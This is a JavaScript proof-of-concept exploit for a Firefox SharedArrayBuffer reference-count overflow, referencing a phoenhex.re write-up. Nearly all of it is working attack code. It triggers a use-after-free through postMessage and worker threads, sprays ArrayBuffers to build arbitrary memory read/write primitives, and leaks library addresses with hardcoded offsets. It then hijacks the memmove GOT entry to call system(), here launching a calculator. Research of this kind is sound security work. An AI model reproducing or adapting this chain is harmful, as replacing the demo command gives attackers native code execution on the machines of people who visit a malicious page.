// https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak 
function do_gc() {
    const MB = 0x100000;
    const maxMallocBytes = 128 * MB;
    var hoho = []
    for (var i = 0; i < 3; i++) {
        hoho.push(new ArrayBuffer(maxMallocBytes));
    }
}


var SAB_SIZE = 0x1000000;
var sab = new SharedArrayBuffer(SAB_SIZE);
var sab_view = new Uint32Array(sab);
var copies = [sab];


// we are not in the shell 
if (typeof window !== 'undefined') {
    // number of worker threads
    var num_workers = 4;
    var workers = [];

    // holds status of worker threads
    var done = [];

    // number of copies of the SAB
    var num_copies = 0x10000;

    // total number of refcount increments needed to trigger overflow
    var total = 2**32;

    // amount of increments per thread
    var num_per_thread = total / (num_workers * num_copies);

    window.onmessage = function(e) {

        if (e.data[0]) { // postMessage data is a copy and should processed
            copies = copies.concat(e.data[1]);

            // if all copies have been generated, advance to next step
            if (copies.length == num_copies) {
                console.log("Generated all copies:" + copies.length);

                // create `num_workers` workers
                for (var i = 0; i < num_workers; i++) {
                    done[i] = false
                    workers[i] = new Worker('worker.js');

                    workers[i].onmessage = function(e) {
                        // message received from worker --> check if all workers are finished procesing
                        done[e.data] = true;
                        var justdoit = true;
                        for (var j = 0; j < num_workers; j++) {
                            if (!done[j]) {
                                justdoit = false;
                                break;
                            }
                        }

                        if (justdoit) {
                            // All workers have finished
                            log("[+] doing it now");

                            // one more SAB to get refcount=0x1
                            try {
                                window.postMessage([false, sab, function() {}], "*"); 
                            } catch(e) {}


                            // free one worker
                            delete copies[1];

                            // trigger majorGC
                            do_gc(); 

                            // pwn it now
                            pwn();
                        }
                    };

                    log("[+] Worker " + i + " initialized");

                    // send work to worker
                    workers[i].postMessage([i, copies, num_per_thread - 1]);
                }
            } else {
                // create copies
                window.postMessage([true, copies], "*");
            }
        } else {
            // ignore postMessage data
        }
    };

    // start the refcount overflow
    window.postMessage([true, [sab]], "*");


} 



function foo() {
    setTimeout("foo()", 1000);
}
foo();


function pwn() {
    var ALLOCS = 0x100000;
    log("Pwning now...\n");


    buffers = [];
    for (i =0; i<ALLOCS;i++) {
        buffers[i] = new ArrayBuffer(96);
        view = new Uint32Array(buffers[i]);
        view[0] = 0x13371337; // mark each buffer
    }


    // look for first buffer that is allocted over our sab memory and mark it
    for (i=0; i < SAB_SIZE/32; i++) {
        if (sab_view[i] == 0x13371337) {
            log("[+] Found first hit! sab_view[" + i + "]");
            sab_view[i] = 0x13381338;
            ptr_overwrite_idx = i;
            break;
        }
    }

    // look for the index of the marked buffer
    for (i = 0; i < ALLOCS; i++) {
        view = new Uint32Array(buffers[i]);
        if (view[0] == 0x13381338) {
            log("[+] Found buffer! buffers[" +i + "]");
            ptr_access_idx = i;
            break;
        }
    }

    if (typeof ptr_access_idx !== 'undefined') {
        log("PWNED");
    } else {
        document.write("fucking fail0r");
        log("we failed...");
        return;
    }


    memory = {
        prepare: function(addr, typed_array) {
            x = new Int64(addr);
            x.rshift();
            sab_view[ptr_overwrite_idx-8] = x.lower();
            sab_view[ptr_overwrite_idx-7] = x.upper();
            return new typed_array(buffers[ptr_access_idx]);
        },

        write: function(addr, data) {
            view = memory.prepare(addr, Uint32Array);
            x = new Int64(data)
            view[0] = x.lower();
            view[1] = x.upper();
        },

        read: function(addr) {
            view = memory.prepare(addr, Uint32Array);
            return new Int64(view[0] + 256**4 * view[1]);
        },

        readWithTag: function(addr) {
            view = memory.prepare(addr, Uint32Array);
            return new Int64(view[0] + 256**4 * (view[1] & 0xffff));
        }
    }

    // set a native function as property
    function leak_native(nat_func) {
        buffers[ptr_access_idx].yolo = nat_func;
        buffers[ptr_access_idx].haha = 0x13391339;
        //slots = sab_view[27] * 2**32 + sab_view[28];
        slots = sab_view[ptr_overwrite_idx - 13] * 2**32 + sab_view[ptr_overwrite_idx - 12];
        slots_0 = (memory.readWithTag(slots).toInt());

        return memory.read(slots_0 + 5*8).toInt()
    }

    nat_func = leak_native(Date.now);
    log("[+] Date.now @ " + nat_func.toString(16) + "\n");

    //// HARDCODED OFFSETS
    xul_base = nat_func - 0x2c02da0;
    memmove_got = xul_base + 0x47e7140;
    snprintf_got = xul_base + 0x47e70c0;

    snprintf_libc = memory.read(snprintf_got);
    libc_base = snprintf_libc - 0x511f0;
    system_libc = libc_base + 0x40db0;



    log("[+] xul base @ " + xul_base.toString(16), true);
    log("[+] memmove@got @ " + memmove_got.toString(16), true);
    log("[+] system@libc @ " + system_libc.toString(16), true);



    var target = new Uint8Array(100);
    var cmd = "/usr/bin/gnome-calculator &";

    for (var i = 0; i < cmd.length; i++) {
        target[i] = cmd.charCodeAt(i);
    }
    target[cmd.length] = 0;

    memmove_backup = memory.read(memmove_got);

    memory.write(memmove_got, system_libc);
    target.copyWithin(0, 1);                // GIMME CALC NOW!
    memory.write(memmove_got, memmove_backup); 
}


